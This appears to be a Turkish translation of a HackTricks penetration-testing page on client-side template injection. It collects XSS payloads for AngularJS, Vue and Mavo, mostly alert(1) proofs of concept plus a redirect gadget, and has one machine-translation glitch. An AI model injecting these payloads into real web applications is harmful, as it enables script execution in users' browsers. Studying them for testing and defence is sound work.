Client Side Template Injection (CSTI)

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Özet

Bu, Server Side Template Injection ile benzerlik gösterir ancak istemci tarafındadır. SSTI, uzaktaki sunucuda kod çalıştırmanıza izin verebilir, CSTI ise kurbanın tarayıcısında rastgele JavaScript kodu çalıştırmanıza izin verebilir.

Bu güvenlik açığını test etmek, SSTI durumundaki gibi çok benzerdir; yorumlayıcı bir şablon bekler ve bunu çalıştırır. Örneğin, {{ 7-7 }} gibi bir yük ile, uygulama gü vulnerable ise 0 göreceksiniz, değilse orijinalini göreceksiniz: {{ 7-7 }}

AngularJS

AngularJS, HTML ile direktifler olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür; bunlardan biri ng-app'dir. Bu direktif, AngularJS'nin HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar.

Kullanıcı girdisinin ng-app ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdinin içinde AngularJS sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır:

javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Bir temel çevrimiçi örneği bu güvenlik açığının AngularJS ile http://jsfiddle.net/2zs2yv7o/ ve Burp Suite Academy adreslerinde bulabilirsiniz.

[!CAUTION] > Angular 1.6 kum havuzunu kaldırdı, bu nedenle bu versiyondan itibaren {{constructor.constructor('alert(1)')()}} veya <input ng-focus=$event.view.alert('XSS')> gibi bir yük çalışmalıdır.

VueJS

Hassas bir Vue uygulamasını https://vue-client-side-template-injection-example.azu.now.sh/ adresinde bulabilirsiniz.
Çalışan yük: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Ve hassas örneğin kaynak kodu burada: https://github.com/azu/vue-client-side-template-injection-example

html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

CSTI ile ilgili gerçekten iyi bir yazı VUE'de https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets bulunabilir.

V3

{{_openBlock.constructor('alert(1)')()}}

Kredi: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredi: Mario Heiderich

Daha fazla VUE yükü kontrol edin https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Yük:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Daha fazla yük https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Tespit Listesi

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin